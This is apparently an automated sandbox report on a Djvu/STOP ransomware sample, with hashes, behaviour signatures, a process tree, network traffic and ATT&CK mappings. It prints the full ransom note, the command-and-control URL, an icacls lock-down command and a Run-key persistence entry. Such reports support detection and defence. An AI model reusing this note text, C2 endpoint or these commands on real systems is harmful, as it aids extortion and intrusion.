djvu | be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc

Analysis

max time kernel
147s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
02/04/2024, 19:01 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
Size

719KB
MD5

14d420d8a346ae5e59617598540e607d
SHA1

5f3667055fd5db1b7a26e349447c10de88fa697e
SHA256

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc
SHA512

18ff9a47dd7a004531e59fb6d35b974a6a61e499fca3258b5d370d943f3dc81c8c85c9fb8ec120d87faadad1c9628c34d0fce6f20c00b843ef7a57bc38a010ed
SSDEEP

12288:d1Wu6AuFD1zL/5IBDHeFjaqpB9VuLIs08bYB14wwVwBQPKGx5HDW/r0w3QD:bWndLuh+RaqNV3sBqwVwBxGx5CD0w3Q

Score

10^/10

djvu discovery persistence ransomware

Malware Config

Extracted

Family

djvu

http://sajdfue.com/raud/get.php

Attributes

extension
.kaaa
offline_id
RYwGAer1qFhOx8AGvEwPaJsJ2FKa8ifjKW9FVet1
payload_url
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. Do not ask assistants from youtube and recovery data sites for help in recovering your data. They can use your free decryption quota and scam you. Our contact is emails in this text document only. You can get and look video overview decrypt tool: https://wetransfer.com/downloads/df01994dd8d37c2c33469922f8e7155a20240402134014/fd95b0 Price of private key and decrypt software is $1999. Discount 50% available if you contact us first 72 hours, that's price for you is $999. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@freshingmail.top Reserve e-mail address to contact us: datarestorehelpyou@airmail.cc Your personal ID: 0862PsawqS

rsa_pubkey.plain

1
-----BEGIN PUBLIC KEY-----
2
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyZFdFYlcEPNqI0gGeHSE
3
c5ez2xgR2sG09iz8Tr5ZC39iKY7ti7pb0TKJkCs9waRIjJ5Cp7SvkL5sCNanRPHw
4
3jx/D3kVBB1+2Jehi4opFDhpo9PfaRzu8+b+z/zBiD2yEN8X3leaJW9Vzxt9sCLr
5
6fvqGsEnOxiFgf97x4cjUWjCy2dN7mfRQMkoTHbsgVzoREGUsKS+FYC+0d16zQa1
6
eIGVSiybdKu46IIepQu6c2GXCSi1uJtGpovqPIIQbiBHZNGTXrPyfglFV9jVxCZg
7
O25NOUsUC56J05FtL6Wm/RtkObPpapYaTVk7XroeWyFCVeR7kHO2EV9n3zJWSqFQ
8
0wIDAQAB
9
-----END PUBLIC KEY-----

Signatures

Detected Djvu ransomware 20 IoCs

resource	yara_rule
behavioral1/memory/4052-2-0x0000000004A90000-0x0000000004BAB000-memory.dmp	family_djvu
behavioral1/memory/4912-3-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4912-4-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4912-5-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4912-6-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4912-16-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-22-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-23-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-24-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-29-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-31-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4788-36-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4788-37-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4788-35-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4788-38-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-43-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-45-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-46-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-397-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/3220-399-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu
Renames multiple (174) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Executes dropped EXE 2 IoCs

pid	Process
3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
4788	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4764	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\89a0fe54-9bec-4f33-948b-bcec30bcbae8\\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe\" --AutoStart"	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	api.2ip.ua
22	api.2ip.ua
25	api.2ip.ua
6	api.2ip.ua

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4052 set thread context of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 5040 set thread context of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 3328 set thread context of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4912	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
4912	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
3220	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
3220	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
4788	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
4788	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
3220	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
3220	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4052 wrote to memory of 4912	4052	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	88
PID 4912 wrote to memory of 4764	4912	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	89
PID 4912 wrote to memory of 4764	4912	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	89
PID 4912 wrote to memory of 4764	4912	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	89
PID 4912 wrote to memory of 5040	4912	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	91
PID 4912 wrote to memory of 5040	4912	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	91
PID 4912 wrote to memory of 5040	4912	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	91
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 5040 wrote to memory of 3220	5040	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	95
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97
PID 3328 wrote to memory of 4788	3328	be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe	97

C:\Users\Admin\AppData\Local\Temp\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
"C:\Users\Admin\AppData\Local\Temp\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Users\Admin\AppData\Local\Temp\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
  "C:\Users\Admin\AppData\Local\Temp\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\89a0fe54-9bec-4f33-948b-bcec30bcbae8" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:4764
- - C:\Users\Admin\AppData\Local\Temp\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
    "C:\Users\Admin\AppData\Local\Temp\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:5040
  - - C:\Users\Admin\AppData\Local\Temp\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
      "C:\Users\Admin\AppData\Local\Temp\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3220

C:\Users\Admin\AppData\Local\89a0fe54-9bec-4f33-948b-bcec30bcbae8\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
C:\Users\Admin\AppData\Local\89a0fe54-9bec-4f33-948b-bcec30bcbae8\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe --Task
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Users\Admin\AppData\Local\89a0fe54-9bec-4f33-948b-bcec30bcbae8\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe
  C:\Users\Admin\AppData\Local\89a0fe54-9bec-4f33-948b-bcec30bcbae8\be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe --Task
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4788

Network

DNS

133.211.185.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

133.211.185.52.in-addr.arpa

IN PTR

Response
DNS

api.2ip.ua

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Remote address:

8.8.8.8:53

Request

api.2ip.ua

IN A

Response

api.2ip.ua

IN A

104.21.65.24

api.2ip.ua

IN A

172.67.139.220
GET

https://api.2ip.ua/geo.json

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Remote address:

104.21.65.24:443

Request

GET /geo.json HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: api.2ip.ua

Response

HTTP/1.1 429 Too Many Requests

Date: Tue, 02 Apr 2024 19:02:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
strict-transport-security: max-age=63072000; preload
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block; report=...
access-control-allow-origin: *
access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=68XKhFOPqdNtW8%2BID3mJUNVURbF5KhD1uHfIrCV77TJd8NbCdWRhnYFFn6B8J7RBKhBa363A9ZQZystv%2B80cdfN3agQP5Iy%2F5%2B5lDZ5UI%2F6bs2zSK6bmEOvU3bF%2B"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 86e3123e6bec9481-LHR
alt-svc: h3=":443"; ma=86400
DNS

172.210.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.210.232.199.in-addr.arpa

IN PTR

Response
DNS

24.65.21.104.in-addr.arpa

Remote address:

8.8.8.8:53

Request

24.65.21.104.in-addr.arpa

IN PTR

Response
DNS

3.36.251.142.in-addr.arpa

Remote address:

8.8.8.8:53

Request

3.36.251.142.in-addr.arpa

IN PTR

Response

3.36.251.142.in-addr.arpa

IN PTR

ams15s44-in-f31e100net
DNS

20.160.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

20.160.190.20.in-addr.arpa

IN PTR

Response
GET

https://api.2ip.ua/geo.json

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Remote address:

104.21.65.24:443

Request

GET /geo.json HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: api.2ip.ua

Response

HTTP/1.1 429 Too Many Requests

Date: Tue, 02 Apr 2024 19:02:08 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
strict-transport-security: max-age=63072000; preload
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block; report=...
access-control-allow-origin: *
access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TIpidNzY7%2FUhCXtqThvwuL4%2Bsh8q85e%2Fkjh59gNoGvzJD7sV1wGmAb8Epo1eziRU40lOWbLsex7M1%2FolyCEoSGso2iaYeVjM%2BA2HW2K1Qk1l8A80zbzntDUGzhaO"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 86e3124d5f567332-LHR
alt-svc: h3=":443"; ma=86400
DNS

sajdfue.com

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Remote address:

8.8.8.8:53

Request

sajdfue.com

IN A

Response

sajdfue.com

IN A

201.236.158.115

sajdfue.com

IN A

220.125.3.190

sajdfue.com

IN A

211.168.53.110

sajdfue.com

IN A

190.187.52.42

sajdfue.com

IN A

93.138.110.139

sajdfue.com

IN A

188.49.118.173

sajdfue.com

IN A

186.182.55.44

sajdfue.com

IN A

137.59.231.22

sajdfue.com

IN A

109.98.58.98

sajdfue.com

IN A

189.181.34.192
GET

http://sajdfue.com/raud/get.php?pid=E506C4CEE38FB5A97674E392EE9B6D36&first=true

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Remote address:

201.236.158.115:80

Request

GET /raud/get.php?pid=E506C4CEE38FB5A97674E392EE9B6D36&first=true HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: sajdfue.com

Response

HTTP/1.1 200 OK

Date: Tue, 02 Apr 2024 19:02:29 GMT
Server: Apache/2.4.37 (Win64) PHP/5.6.40
X-Powered-By: PHP/5.6.40
Content-Length: 559
Connection: close
Content-Type: text/html; charset=UTF-8
GET

https://api.2ip.ua/geo.json

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

Remote address:

104.21.65.24:443

Request

GET /geo.json HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: api.2ip.ua

Response

HTTP/1.1 429 Too Many Requests

Date: Tue, 02 Apr 2024 19:02:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
strict-transport-security: max-age=63072000; preload
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block; report=...
access-control-allow-origin: *
access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rwEH7StIP5kxe3yWtcQnH7rUVJ0pQDebHoN9xvUHgJ0eLUzGOEQQjgIqLBKUdr21O007Evro9Bwim1CtwLm38Hi1J%2FDIkSyuRYKKi%2FY5kwgKyv%2Fw6T8ombsn0bO9"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 86e31275791b53a4-LHR
alt-svc: h3=":443"; ma=86400
DNS

115.158.236.201.in-addr.arpa

Remote address:

8.8.8.8:53

Request

115.158.236.201.in-addr.arpa

IN PTR

Response

115.158.236.201.in-addr.arpa

IN PTR

201-236-3-115statictiecl
DNS

58.55.71.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

58.55.71.13.in-addr.arpa

IN PTR

Response
DNS

227.97.18.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

227.97.18.2.in-addr.arpa

IN PTR

Response

227.97.18.2.in-addr.arpa

IN PTR

a2-18-97-227deploystaticakamaitechnologiescom
DNS

157.123.68.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

157.123.68.40.in-addr.arpa

IN PTR

Response
DNS

171.39.242.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

171.39.242.20.in-addr.arpa

IN PTR

Response
DNS

8.11.19.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.11.19.2.in-addr.arpa

IN PTR

Response

8.11.19.2.in-addr.arpa

IN PTR

a2-19-11-8deploystaticakamaitechnologiescom
DNS

84.117.19.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

84.117.19.2.in-addr.arpa

IN PTR

Response

84.117.19.2.in-addr.arpa

IN PTR

a2-19-117-84deploystaticakamaitechnologiescom
DNS

88.16.208.104.in-addr.arpa

Remote address:

8.8.8.8:53

Request

88.16.208.104.in-addr.arpa

IN PTR

Response

104.21.65.24:443

https://api.2ip.ua/geo.json

tls, http

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

1.2kB
7.8kB
17
13

HTTP Request

GET https://api.2ip.ua/geo.json

HTTP Response

429
104.21.65.24:443

https://api.2ip.ua/geo.json

tls, http

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

1.1kB
7.8kB
15
11

HTTP Request

GET https://api.2ip.ua/geo.json

HTTP Response

429
201.236.158.115:80

http://sajdfue.com/raud/get.php?pid=E506C4CEE38FB5A97674E392EE9B6D36&first=true

http

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

460 B
975 B
7
5

HTTP Request

GET http://sajdfue.com/raud/get.php?pid=E506C4CEE38FB5A97674E392EE9B6D36&first=true

HTTP Response

200
104.21.65.24:443

https://api.2ip.ua/geo.json

tls, http

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

1.1kB
7.7kB
15
11

HTTP Request

GET https://api.2ip.ua/geo.json

HTTP Response

429

8.8.8.8:53

133.211.185.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

133.211.185.52.in-addr.arpa
8.8.8.8:53

api.2ip.ua

dns

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

56 B
88 B
1
1

DNS Request

api.2ip.ua

DNS Response

104.21.65.24

172.67.139.220
8.8.8.8:53

172.210.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.210.232.199.in-addr.arpa
8.8.8.8:53

24.65.21.104.in-addr.arpa

dns

71 B
133 B
1
1

DNS Request

24.65.21.104.in-addr.arpa
8.8.8.8:53

3.36.251.142.in-addr.arpa

dns

71 B
109 B
1
1

DNS Request

3.36.251.142.in-addr.arpa
8.8.8.8:53

20.160.190.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

20.160.190.20.in-addr.arpa
8.8.8.8:53

sajdfue.com

dns

be7fdfefa6dac04e9183e54a76fdca06fb8bf501381ce0d0fe9a227f452a20fc.exe

57 B
217 B
1
1

DNS Request

sajdfue.com

DNS Response

201.236.158.115

220.125.3.190

211.168.53.110

190.187.52.42

93.138.110.139

188.49.118.173

186.182.55.44

137.59.231.22

109.98.58.98

189.181.34.192
8.8.8.8:53

115.158.236.201.in-addr.arpa

dns

74 B
115 B
1
1

DNS Request

115.158.236.201.in-addr.arpa
8.8.8.8:53

58.55.71.13.in-addr.arpa

dns

70 B
144 B
1
1

DNS Request

58.55.71.13.in-addr.arpa
8.8.8.8:53

227.97.18.2.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

227.97.18.2.in-addr.arpa
8.8.8.8:53

157.123.68.40.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

157.123.68.40.in-addr.arpa
8.8.8.8:53

171.39.242.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

171.39.242.20.in-addr.arpa
8.8.8.8:53

8.11.19.2.in-addr.arpa

dns

68 B
129 B
1
1

DNS Request

8.11.19.2.in-addr.arpa
8.8.8.8:53

84.117.19.2.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

84.117.19.2.in-addr.arpa
8.8.8.8:53

88.16.208.104.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

88.16.208.104.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
9b6db1ab38d6a6d2da6a243f6c535959

SHA1
5ad7f03d79e9f8da3027d634cdb987bd7ad83643

SHA256
f8ab0227091978f14c8ef610aecaff032714787ebce7f213171116cadf14ba15

SHA512
2718d224fbe706724bfe59a34cdfa6d657a3014a779a4c602419dc8d63cf1856608d3087d68d5ff6983c76a5633d2c35310278b49dc3f914166ff448a52c509b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
7645cff1450ce2034dde090b9c97e38b

SHA1
ec30852ec7262aebb719aad92a6400cd6deec24c

SHA256
5ae98a5eb3dced4f44f93118ccff960b4d92cc31a4605c8f93e41a79e5a277b1

SHA512
9afc2f42572249487cb716737682c8e203cfdef624f14e53f566eefe5c8fe76603e1fece53f2cdc72afbb922adb50ea906a2758ce792145ddb97461edf786a33

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
986ab7921c818ee5182dcefa72e6a0d0

SHA1
aafc2653bad592b58a8dd65a40c8b0fe8f46f10b

SHA256
